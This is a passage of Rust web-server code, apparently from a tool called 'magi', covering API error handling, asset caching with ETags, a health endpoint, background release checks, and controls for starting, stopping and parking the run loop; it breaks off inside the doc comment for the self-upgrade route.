1747/// What every handler returns. Spelled out because `Result` in this crate is
1748/// `anyhow::Result`, and a handler's error is a status code as much as a
1749/// message.
1750type ApiResult<T> = std::result::Result<T, ApiError>;
1751
1752/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1753#[derive(Debug)]
1754struct ApiError {
1755    status: StatusCode,
1756    message: String,
1757}
1758
1759impl ApiError {
1760    /// The client asked for something malformed.
1761    fn bad_request(message: impl Into<String>) -> Self {
1762        Self {
1763            status: StatusCode::BAD_REQUEST,
1764            message: message.into(),
1765        }
1766    }
1767
1768    /// No such run or task.
1769    fn not_found(message: impl Into<String>) -> Self {
1770        Self {
1771            status: StatusCode::NOT_FOUND,
1772            message: message.into(),
1773        }
1774    }
1775
1776    /// Someone else owns the thing the client wants to change.
1777    /// Re-badge an error whose default mapping is wrong for this route.
1778    fn with_status(mut self, status: StatusCode) -> Self {
1779        self.status = status;
1780        self
1781    }
1782
1783    /// A rules violation from a domain type, reported as the caller's fault.
1784    /// `Question::answer` rejects an unoffered choice, and that is a bad
1785    /// request, not a server error.
1786    fn bad_request_from(e: anyhow::Error) -> Self {
1787        Self::bad_request(format!("{e:#}"))
1788    }
1789
1790    fn conflict(message: impl Into<String>) -> Self {
1791        Self {
1792            status: StatusCode::CONFLICT,
1793            message: message.into(),
1794        }
1795    }
1796
1797    /// Our fault, or the disk's.
1798    fn internal(message: impl Into<String>) -> Self {
1799        Self {
1800            status: StatusCode::INTERNAL_SERVER_ERROR,
1801            message: message.into(),
1802        }
1803    }
1804}
1805
1806impl From<anyhow::Error> for ApiError {
1807    /// Errors from `queue` and `run` carry their context chain, and the whole
1808    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1809    /// value at line 3" is a message an operator can act on, and there is no
1810    /// secret in a path on a single-user tailnet.
1811    fn from(e: anyhow::Error) -> Self {
1812        Self::internal(format!("{e:#}"))
1813    }
1814}
1815
1816impl IntoResponse for ApiError {
1817    fn into_response(self) -> Response {
1818        let body = serde_json::json!({ "error": self.message });
1819        (self.status, Json(body)).into_response()
1820    }
1821}
1822
1823/// Run a handler's filesystem work off the executor.
1824///
1825/// Every route that touches the disk goes through here rather than each one
1826/// arguing about whether its own read is small enough. Uniform because the
1827/// expensive case is not rare: `run.json` for a finished competition holds
1828/// every judgement, deliberation turn and review round, so listing a few
1829/// hundred runs is megabytes of parsing, and the executor threads doing it are
1830/// the same ones serving the change stream of every other connected phone.
1831async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1832where
1833    T: Send + 'static,
1834{
1835    #[cfg(test)]
1836    let job = request_cost::carry(job);
1837    match tokio::task::spawn_blocking(job).await {
1838        Ok(result) => result,
1839        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1840    }
1841}
1842
1843/// Cache policy for the three compiled-in front-end files.
1844///
1845/// The whole interface is `include_str!`ed into the binary, so its content
1846/// changes only when the binary does - and a phone that keeps a copy is
1847/// welcome to, right up until the deck is replaced. Without a single cache
1848/// header, browsers were free to invent their own policy, and one did:
1849/// yukimemi's phone went on showing "Candidates must be folded before
1850/// deleting. Run `magi fold` first." - a sentence deleted two releases
1851/// earlier - from a run detail served by a deck that no longer contained it.
1852/// The delete button he was told about was right there, and unreachable.
1853///
1854/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1855/// every time, the answer is a 304 costing one small round trip while the
1856/// deck is unchanged, and the moment it is replaced the tag differs and the
1857/// new interface arrives. Correctness over bytes - this is one file of a few
1858/// tens of kilobytes on a tailnet, and being a version behind is not a
1859/// cosmetic problem when the difference is whether a button exists.
1860const ASSET_CACHE: &str = "no-cache, must-revalidate";
1861
1862/// `ETag` for the compiled-in assets, distinct per build.
1863///
1864/// The version alone would leave a locally built deck - `cargo install
1865/// --path .` twice at the same version, which is the normal way to iterate -
1866/// serving a stale tag for changed bytes. The build timestamp is what makes
1867/// two builds of `0.3.0` differ.
1868fn asset_etag() -> &'static str {
1869    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1870        format!(
1871            "\"{}-{}\"",
1872            env!("CARGO_PKG_VERSION"),
1873            // Length is a cheap, deterministic stand-in for a hash: the
1874            // three files are compiled in together, so any edit to any of
1875            // them almost certainly changes the total, and a rebuild is what
1876            // this needs to track rather than every possible byte pattern.
1877            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1878        )
1879    });
1880    &TAG
1881}
1882
1883/// Headers for a compiled-in asset of `mime`.
1884fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1885    [
1886        (header::CONTENT_TYPE, mime),
1887        (header::CACHE_CONTROL, ASSET_CACHE),
1888        (header::ETAG, asset_etag()),
1889    ]
1890}
1891
1892/// Serve a compiled-in asset, answering `304` when the client already has it.
1893///
1894/// axum does not compare `If-None-Match` for us, and a header the server sets
1895/// but never honours is worse than none: the phone revalidates on every load
1896/// and is handed the whole file back each time. Doing the comparison is what
1897/// makes `must-revalidate` cost one small round trip rather than the
1898/// interface.
1899fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1900    let tag = asset_etag();
1901    let known = headers
1902        .get(header::IF_NONE_MATCH)
1903        .and_then(|v| v.to_str().ok())
1904        // A revalidating client may send several, and a proxy may weaken the
1905        // tag to `W/"..."`; matching on containment covers both without
1906        // parsing the grammar.
1907        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1908    if known {
1909        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1910    }
1911    (asset_headers(mime), body).into_response()
1912}
1913
1914async fn index(headers: header::HeaderMap) -> Response {
1915    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1916}
1917
1918async fn app_css(headers: header::HeaderMap) -> Response {
1919    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1920}
1921
1922async fn app_js(headers: header::HeaderMap) -> Response {
1923    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1924}
1925
1926/// What `/api/health` answers.
1927#[derive(Debug, Serialize)]
1928struct HealthView {
1929    version: &'static str,
1930    home: String,
1931    queue_rev: u64,
1932    runs_rev: u64,
1933    /// The same revisions [`events`] streams for the question and talk
1934    /// stores.
1935    ///
1936    /// Here because this route is what the front end falls back to when the
1937    /// change stream is not up - it re-polls health on a timer and on wake, and
1938    /// takes the revisions from the answer. Without these the fallback
1939    /// compares `undefined` against `undefined` for both stores, decides
1940    /// nothing moved, and a phone with a dead stream never learns that a
1941    /// question was asked or that a talk took a turn. `queue_rev` and
1942    /// `runs_rev` above have always been here for exactly this reason; the rule
1943    /// is that every revision the stream carries, this route carries too.
1944    questions_rev: u64,
1945    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1946    talks_rev: u64,
1947    /// See [`HealthView::questions_rev`]. The notification centre's store.
1948    notifications_rev: u64,
1949    /// Notifications nobody has read yet: the bell's badge before
1950    /// `/api/notifications` has answered.
1951    notifications_unread: usize,
1952    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1953    /// is not on disk anywhere, so a phone with no change stream has no other
1954    /// way to notice that the loop it is waiting on was started from another
1955    /// device.
1956    loop_rev: u64,
1957    /// Runs on disk whose state this build cannot parse - almost always a
1958    /// schema bump, occasionally a run killed mid-write.
1959    ///
1960    /// Reported because the list silently skips them, and "no competitions
1961    /// yet" is a lie when six of them are sitting in the runs directory. The
1962    /// terminal deck learned the same lesson: a run that fails to parse must
1963    /// not disappear from the count.
1964    runs_unreadable: usize,
1965    /// The disk, and what the runs and their worktrees occupy on it.
1966    ///
1967    /// This is the incident the janitor exists for: magi alone put 30 GB into
1968    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1969    /// is exactly where the operator learns "the disk is the constraint" -
1970    /// the diagnosis that a run is being held for want of space has to be
1971    /// checkable on the same screen.
1972    disk: DiskView,
1973    /// Questions nobody has answered yet, including ones an owner talked
1974    /// back on and is now waiting for the agent's reply to. A round trip
1975    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1976    /// while the ball is in the agent's court - see
1977    /// [`crate::ask::Questions::count_open`].
1978    questions_open: usize,
1979    /// Of those, how many actually need the owner right now: open, and not
1980    /// [`crate::ask::Question::waiting_on_agent`].
1981    ///
1982    /// The one number that means "nothing will happen until a human acts" -
1983    /// a parked run consumes nothing and progresses never - and the count the
1984    /// ask bar, the nav badge and the document title fall back to before
1985    /// `/api/questions` has answered, so those notification channels clear
1986    /// the instant the owner asks back and reappear the instant the agent
1987    /// replies, instead of sitting lit for however long the agent thinks.
1988    questions_needs_owner: usize,
1989    daemon: DaemonView,
1990    /// The loop in this process, exactly what `/api/loop` answers with.
1991    ///
1992    /// Here so a phone that has just woken needs one request to know whether
1993    /// anything is going to happen at all: `daemon` says a loop is alive
1994    /// somewhere, and this says whether it is one this UI can stop.
1995    #[serde(rename = "loop")]
1996    looping: LoopView,
1997    /// Whether a release newer than this build is known, and which.
1998    ///
1999    /// From [`updater::Checker::cached_update`] - the same throttled state the
2000    /// CLI's `notify` mode banners from - never a live check: this route is
2001    /// polled every few seconds, and a live check on each poll would spend
2002    /// GitHub's rate limit before the operator finished reading the strip.
2003    update: UpdateView,
2004    /// The self-upgrade this deck last set in motion, or `null` before the
2005    /// first one. Read off disk, so the successor can report what its
2006    /// predecessor started.
2007    upgrade: Option<UpgradeProgressView>,
2008}
2009
2010/// What `/api/health` knows about a release newer than this build.
2011///
2012/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2013/// is already the newest" from "never checked" - both are `None` - and the
2014/// phone needs to tell those apart to decide whether the deck can be trusted
2015/// to have an opinion at all.
2016#[derive(Debug, Serialize)]
2017struct UpdateView {
2018    /// A newer release is known to exist.
2019    available: bool,
2020    /// Its tag, when `available`.
2021    to: Option<String>,
2022}
2023
2024/// [`updater::Progress`] as `/api/health` reports it.
2025#[derive(Debug, Serialize)]
2026struct UpgradeProgressView {
2027    stage: updater::Stage,
2028    from: String,
2029    to: Option<String>,
2030    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2031    /// the step it is finishing before the address is handed over.
2032    waiting_on: Option<String>,
2033    started_at: Timestamp,
2034    updated_at: Timestamp,
2035    detail: Option<String>,
2036    /// Seconds the stage has outlived its allowance, when it has - see
2037    /// [`updater::stall`]. `null` while the stage is moving normally.
2038    stuck_for_secs: Option<i64>,
2039    /// Which kind of stuck: `never_entered` (hand_over left no record of
2040    /// starting) or `stopped_beating`. `null` when not stuck.
2041    stuck_kind: Option<updater::StallKind>,
2042    /// `hand_over` is alive and waiting on the loop: however long that takes,
2043    /// it is not an overdue upgrade.
2044    handover_alive: bool,
2045}
2046
2047/// Whether [`run_update_recheck`] may act at all this tick.
2048///
2049/// The same two conditions [`updater::Checker::new`] and
2050/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2051/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2052/// GitHub from this process" - on a button press or on a timer alike.
2053fn should_spawn_recheck(cfg: &Update) -> bool {
2054    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2055}
2056
2057/// Whether this tick should actually reach the network, once checking itself
2058/// is allowed.
2059///
2060/// An upgrade already in flight must not be raced by a check that discovers
2061/// a *newer* release while one is still installing - a phone watching
2062/// `/api/health` would see the answer change out from under the upgrade it
2063/// already asked for. Past that, [`updater::Checker::should_check`] is the
2064/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2065/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2066/// polling period, is what keeps this task's network use to at most once per
2067/// `[update] interval` regardless of how often it wakes up.
2068fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2069    if progress.is_some_and(|p| !p.stage.terminal()) {
2070        return false;
2071    }
2072    checker.should_check()
2073}
2074
2075/// How long [`run_update_recheck`] sleeps before its next wake-up.
2076///
2077/// A fraction of the configured `[update] interval` rather than a fixed
2078/// number: a fixed sleep longer than a short custom interval would leave the
2079/// deck waiting on its own wake-up rather than on `should_check`, so an
2080/// operator who set `interval = "1m"` to make the UI catch up quickly would
2081/// not see that take effect until the next restart - exactly the bug this
2082/// task exists to fix, just moved one level down. Scaling with the interval
2083/// keeps the wake-up prompt relative to what was actually configured, while
2084/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2085/// still what caps the network calls themselves at one per interval,
2086/// regardless of how often this fires.
2087fn recheck_poll_period(cfg: &Update) -> Duration {
2088    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2089}
2090
2091/// Keep `/api/health`'s `update` field current for as long as `magi web`
2092/// stays up.
2093///
2094/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2095/// which is enough for every other command: they exit in seconds. `magi web`
2096/// can run for days, so a single startup check leaves the cache - and the
2097/// phone's "Update & restart" button, which reads it via
2098/// [`cached_update_view`] - frozen on whatever that one look found, however
2099/// many releases ship afterwards. This is what notices the rest of them,
2100/// re-reading the config each tick so a `magi.toml` edit while the server is
2101/// up takes effect without a restart, the same way every other route here
2102/// already does - both for whether checking is on at all and for how long
2103/// the next sleep should be.
2104///
2105/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2106/// "install"`: swapping the running binary out from under a task or a run
2107/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2108/// not as a side effect of a timer nobody asked to fire. This only ever
2109/// calls [`updater::Checker::newer_release`], which refreshes
2110/// `last_update_check.json` and nothing else - so under `mode = "install"`
2111/// this behaves like `notify` for as long as the deck stays up, and an
2112/// actual self-install still happens exactly where it always has: once, at
2113/// the next process start.
2114async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2115    loop {
2116        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2117        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2118        if !should_spawn_recheck(&cfg.update) {
2119            continue;
2120        }
2121        let Some(checker) = updater::Checker::new(&cfg.update) else {
2122            continue;
2123        };
2124        let progress = updater::read_progress(&home);
2125        if !update_recheck_due(&checker, progress.as_ref()) {
2126            continue;
2127        }
2128        if let Err(e) = checker.newer_release().await {
2129            tracing::warn!("background update recheck failed: {e:#}");
2130        }
2131    }
2132}
2133
2134/// [`UpdateView`] from the same throttled, disk-only state
2135/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2136/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2137/// no cached state at all, which is correct: an operator who turned checking
2138/// off gets no opinion, not a stale one.
2139fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2140    let default;
2141    let cfg = match cfg {
2142        Some(cfg) => cfg,
2143        None => {
2144            default = Config::default();
2145            &default
2146        }
2147    };
2148    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2149    match latest {
2150        Some(latest) => UpdateView {
2151            available: true,
2152            to: Some(latest.tag_name),
2153        },
2154        None => UpdateView {
2155            available: false,
2156            to: None,
2157        },
2158    }
2159}
2160
2161/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2162/// from the parked run's own state when the stage is
2163/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2164/// already on disk in `run.json`, so this reads them fresh rather than
2165/// trusting whatever was true the moment the park was requested.
2166fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2167    let now = Timestamp::now();
2168    let lease = updater::read_lease(&ui.home);
2169    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2170    let run_id = alive
2171        .and_then(|l| l.parked_run.as_deref())
2172        .or(progress.parked_run.as_deref());
2173    let parking = progress.stage == updater::Stage::Parking;
2174    let waited = alive.map_or_else(String::new, |l| {
2175        let secs = updater::waited_secs(l, now);
2176        format!(" (waited {} min so far)", secs / 60)
2177    });
2178    let run_text = run_id
2179        .filter(|_| parking)
2180        .map(|id| match read_run(&ui.runs, id).ok() {
2181            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2182            None => format!("run {id} is finishing"),
2183        });
2184    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2185        .filter(|t| parking && !t.is_empty())
2186        .map(|t| format!("{t} finishing"));
2187    let waiting_on = match (run_text, talks_text) {
2188        (None, None) => None,
2189        (run, talks) => {
2190            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2191            Some(format!(
2192                "{} before the address is handed over{waited}",
2193                parts.join(" and ")
2194            ))
2195        }
2196    };
2197    let detail = progress
2198        .detail
2199        .clone()
2200        .or_else(|| updater::read_note(&ui.home, &progress));
2201    let stalled = updater::stall(&progress, lease.as_ref(), now);
2202    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2203    UpgradeProgressView {
2204        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2205        stuck_kind: stalled.map(|s| s.kind),
2206        handover_alive: alive.is_some(),
2207        stage: progress.stage,
2208        from: progress.from,
2209        to: progress.to,
2210        waiting_on,
2211        started_at: progress.started_at,
2212        updated_at: progress.updated_at,
2213        detail,
2214    }
2215}
2216
2217/// The disk figures `/api/health` carries. Every number is produced by
2218/// [`crate::disk`], the same code that decides a run may not start, so the
2219/// health screen and the gate cannot disagree about what the machine looks
2220/// like.
2221#[derive(Debug, Serialize)]
2222struct DiskView {
2223    /// Free bytes on the volume holding the runs, when measurable.
2224    #[serde(skip_serializing_if = "Option::is_none")]
2225    free_bytes: Option<u64>,
2226    /// Everything the runs directory occupies, unreadable runs included.
2227    runs_bytes: u64,
2228    /// Everything the runs' worktrees occupy.
2229    worktrees_bytes: u64,
2230    /// The shared build cache's size, when the config names one.
2231    #[serde(skip_serializing_if = "Option::is_none")]
2232    cache_bytes: Option<u64>,
2233}
2234
2235impl DiskView {
2236    /// Measure the three directories and re-read the config's cache.
2237    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2238        let cache_bytes = cfg
2239            .and_then(|cfg| cfg.cache_dir())
2240            .map(|dir| crate::disk::dir_size(&dir));
2241        Self {
2242            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2243            runs_bytes: crate::disk::dir_size(&ui.runs),
2244            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2245            cache_bytes,
2246        }
2247    }
2248}
2249
2250/// The daemon's state as the UI presents it.
2251#[derive(Debug, Serialize)]
2252struct DaemonView {
2253    running: bool,
2254    idle: Option<bool>,
2255    pid: Option<u32>,
2256    /// Every task and run currently in flight. Empty when idle; more than
2257    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2258    /// run going at once.
2259    current: Vec<daemon::Current>,
2260    completed: Option<u64>,
2261    stale_for_secs: Option<i64>,
2262}
2263
2264impl DaemonView {
2265    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2266    /// not this UI's — a crashed daemon must not look alive here while
2267    /// `doctor` calls it dead.
2268    fn of(status: Option<daemon::Reading>) -> Self {
2269        let Some(status) = status else {
2270            return Self {
2271                running: false,
2272                idle: None,
2273                pid: None,
2274                current: Vec::new(),
2275                completed: None,
2276                stale_for_secs: None,
2277            };
2278        };
2279        let now = Timestamp::now();
2280        let age = status.age_secs(now);
2281        Self {
2282            running: status.running(now),
2283            idle: Some(status.idle),
2284            pid: status.pid,
2285            current: status.current,
2286            completed: Some(status.completed),
2287            stale_for_secs: age,
2288        }
2289    }
2290}
2291
2292async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2293    blocking(move || {
2294        // One read of the status file for the two fields that describe it, so
2295        // `daemon` and `loop` in the same answer cannot disagree about who is
2296        // running the loop.
2297        let reading = daemon::read_status(&ui.home);
2298        // Read on its own line, not inside the literal below: the loop's lock
2299        // is not reentrant, and a guard taken as a temporary there would still
2300        // be held when `loop_view` took it again.
2301        let loop_rev = ui.lock_loop().rev;
2302        // One discover for both views: each is a few git processes plus a
2303        // config render, and neither depends on anything the other reads.
2304        let cfg = deputy_config(&ui.repo);
2305        let update = cached_update_view(cfg.as_ref());
2306        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2307        Ok(Json(HealthView {
2308            version: env!("CARGO_PKG_VERSION"),
2309            home: ui.home.display().to_string(),
2310            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2311            runs_rev: runs_revision(&ui.runs),
2312            questions_rev: ui.questions.revision(),
2313            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2314            notifications_rev: ui.notices.revision(),
2315            notifications_unread: ui.notices.count_unread(),
2316            loop_rev,
2317            runs_unreadable: runs_unreadable(&ui.runs),
2318            questions_open: ui.questions.count_open(),
2319            questions_needs_owner: ui.questions.count_needs_owner(),
2320            daemon: DaemonView::of(reading.clone()),
2321            looping: ui.loop_view(reading),
2322            disk: DiskView::of(&ui, cfg.as_ref()),
2323            update,
2324            upgrade,
2325        }))
2326    })
2327    .await
2328}
2329
2330/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2331#[derive(Debug, Serialize)]
2332struct LoopView {
2333    /// A loop is running in *this* process.
2334    running: bool,
2335    /// It has been asked to stop and is still finishing a run.
2336    ///
2337    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2338    /// because the two differ exactly where it matters: a loop asked to stop
2339    /// while idle is gone within one poll interval, and one asked to stop
2340    /// mid-run keeps going for as long as the graph takes. The operator needs
2341    /// to be told which of those they are waiting for.
2342    stopping: bool,
2343    /// A park was asked for: the run in flight stops at its next node
2344    /// boundary rather than finishing.
2345    ///
2346    /// Separate from `stopping` because the two promise different waits. A
2347    /// stop is "when this competition ends", which can be an hour; a park is
2348    /// "after the step it is on", which is minutes and is what an operator
2349    /// waiting to replace the binary needs to see.
2350    parking: bool,
2351    /// The loop is this process's own.
2352    ///
2353    /// Spelled separately from `running` for the front end's sake, even
2354    /// though inside this process the two move together: `running: false`
2355    /// with `daemon.running: true` is the case where the operator's own `magi
2356    /// serve` owns the loop, and `owned` is the field that tells the UI its
2357    /// buttons have to explain that rather than pretend.
2358    owned: bool,
2359    /// Repository the loop uses for tasks that name none - what it was
2360    /// started with while it runs, and what a start would use before that.
2361    repo: String,
2362    /// Merge mode override in force, or `null` when each repository's own
2363    /// config decides.
2364    merge: Option<String>,
2365    /// Why the last loop in this process ended, when it ended badly.
2366    ///
2367    /// The only place a crashed loop is visible to someone holding a phone.
2368    /// It is logged at error level as well, but a terminal nobody kept open
2369    /// is not a report, and a loop that died at 3am must not read as merely
2370    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2371    /// answers the same question about the same kind of failure.
2372    last_error: Option<String>,
2373    /// The status file, judged the same way `/api/health` judges it: this is
2374    /// what says whether a loop is alive in some *other* process.
2375    daemon: DaemonView,
2376}
2377
2378/// A loop another process already owns.
2379///
2380/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2381/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2382/// published by a pid that is not ours. Excluding our own pid is what makes
2383/// stopping work at all - the loop this process runs writes that file too, so
2384/// a check that ignored the pid would decide the operator's own UI was a
2385/// stranger and refuse to stop the loop it had just started.
2386#[derive(Debug, Clone, Copy)]
2387struct Foreign {
2388    /// The pid the other process published, when it published one.
2389    pid: Option<u32>,
2390}
2391
2392impl Foreign {
2393    /// Another process's live loop, or `None` when this process is free to
2394    /// run one.
2395    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2396        // A fresh heartbeat with no pid in it is still evidence of a live
2397        // daemon. "Some other process" is the honest answer, and refusing
2398        // to start beside it is the safe one.
2399        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2400    }
2401
2402    /// How a conflict names it. The pid is the whole point of the message: it
2403    /// is what the operator needs to find the terminal that owns the loop.
2404    fn who(&self) -> String {
2405        match self.pid {
2406            Some(pid) => format!("another magi process (pid {pid})"),
2407            None => "another magi process".to_owned(),
2408        }
2409    }
2410}
2411
2412/// How a loop is started, as a future this module can hold onto.
2413///
2414/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2415/// trait object or a hand-written `Debug` impl for the sake of one seam.
2416type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2417
2418/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2419fn launch_daemon(
2420    opts: daemon::Opts,
2421    stop: daemon::Stop,
2422) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2423    Box::pin(daemon::serve_until(opts, stop))
2424}
2425
2426/// The loop this process runs, behind one lock.
2427#[derive(Debug, Default)]
2428struct LoopState {
2429    /// The loop, while there is one.
2430    live: Option<Live>,
2431    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2432    ///
2433    /// The loop is in-process state rather than a file, so nothing on disk
2434    /// would tell a second phone that the first one started it. Without this
2435    /// counter the only way to learn about a start, a stop request or a crash
2436    /// would be to poll `/api/loop`, which is the thing the change stream
2437    /// exists to avoid on a mobile link.
2438    rev: u64,
2439    /// Why the last loop ended, when it ended badly. See
2440    /// [`LoopView::last_error`].
2441    last_error: Option<String>,
2442    /// The loop was running (and not already stopping) when the last upgrade
2443    /// parked it, so the successor should start one. Set afresh by every
2444    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2445    /// update.
2446    resume_after_handover: bool,
2447}
2448
2449/// A loop in flight.
2450#[derive(Debug)]
2451struct Live {
2452    /// The cooperative stop, shared with the loop task.
2453    stop: daemon::Stop,
2454    /// The task itself, kept only to answer whether it is still there: a loop
2455    /// that panicked never records its own end, and without this the view
2456    /// would go on reporting a loop that no longer exists - the one lie that
2457    /// would leave the operator with no button to press.
2458    handle: tokio::task::JoinHandle<()>,
2459    /// What the loop was started with, so the view reports the repository and
2460    /// merge mode its runs will actually use rather than what an edit to the
2461    /// config since would give.
2462    opts: daemon::Opts,
2463}
2464
2465impl Live {
2466    /// Is the task still there? See [`Live::handle`].
2467    fn alive(&self) -> bool {
2468        !self.handle.is_finished()
2469    }
2470}
2471
2472/// Take the loop lock, recovering from a poisoned one.
2473///
2474/// What this mutex holds is a stop flag, a task handle and two counters, none
2475/// of which a panic elsewhere can leave in a state worth refusing to read.
2476/// Propagating the poison instead would mean an operator who can see the loop
2477/// running and can no longer stop it from the only surface they have.
2478fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2479    state.lock().unwrap_or_else(PoisonError::into_inner)
2480}
2481
2482/// `GET /api/loop`.
2483async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2484    blocking(move || {
2485        let reading = daemon::read_status(&ui.home);
2486        Ok(Json(ui.loop_view(reading)))
2487    })
2488    .await
2489}
2490
2491/// The body of `POST /api/loop`.
2492///
2493/// One required field and nothing else: no `default` and no unknown fields,
2494/// so a body that fails to say which way the switch was flipped is a 400
2495/// rather than a tap that quietly does the opposite of what was pressed.
2496#[derive(Debug, Deserialize)]
2497#[serde(deny_unknown_fields)]
2498struct LoopCommand {
2499    running: bool,
2500    /// Stop the run in flight at its next node boundary rather than letting it
2501    /// finish.
2502    ///
2503    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2504    /// competition is tens of minutes of paid work and finishing it is
2505    /// normally the cheapest thing to do. A park is for the operator who
2506    /// wants the process gone now - to replace the binary, most of all - and
2507    /// it costs at most the node in progress because every node writes its
2508    /// state before the next one starts.
2509    #[serde(default)]
2510    park: bool,
2511}
2512
2513/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2514///
2515/// Answers with the view rather than waiting for the loop to reach the state
2516/// that was asked for. Starting is immediate anyway; stopping is not, and the
2517/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2518/// request open for. `stopping` in the answer is what the operator watches
2519/// instead.
2520async fn loop_post(
2521    State(ui): State<Arc<Ui>>,
2522    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2523) -> ApiResult<Json<LoopView>> {
2524    // Taken as a `Result` so a malformed body is a 400 like every other route
2525    // here, rather than axum's default 422 that the UI has no branch for.
2526    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2527    blocking(move || {
2528        let reading = daemon::read_status(&ui.home);
2529        let foreign = Foreign::of(reading.as_ref());
2530        if body.running {
2531            ui.start_loop(foreign)?;
2532        } else {
2533            ui.stop_loop(foreign, body.park)?;
2534        }
2535        Ok(Json(ui.loop_view(reading)))
2536    })
2537    .await
2538}
2539
2540/// What `POST /api/upgrade` set in motion.
2541#[derive(Debug, Serialize)]
2542struct UpgradeView {
2543    /// The version this process is running.
2544    from: String,
2545    /// The release it is replacing itself with, when there is one.
2546    to: Option<String>,
2547    /// A run was parked first, and this is its id.
2548    parked: Option<String>,
2549    /// What the operator should expect to happen next.
2550    detail: String,
2551}
2552
2553/// The stage of an upgrade that is still moving, if the record says so.
2554/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2555fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2556    progress.filter(|p| !p.stage.terminal())
2557}
2558
2559/// `POST /api/upgrade` - replace this binary with the newest release and come
2560/// back on it.
2561///
2562/// The one thing the deck could not do for itself. Every fix landed today
2563/// either waited for a competition to end or went in with the deck stopped,
2564/// because `cargo install` cannot overwrite a running executable on Windows.
2565/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2566/// the new one in its place, so the swap itself needs no downtime. Only the
2567/// restart does, and the order is the whole design:
2568///
2569/// 1. **Park.** A run in flight stops at its next node boundary and stays
2570///    resumable, so this costs at most the node in progress rather than the
2571///    competition. Without it the honest choices were waiting an hour or
2572///    discarding paid agent work.
2573/// 2. **Replace.** The new binary goes into place while this one still runs.
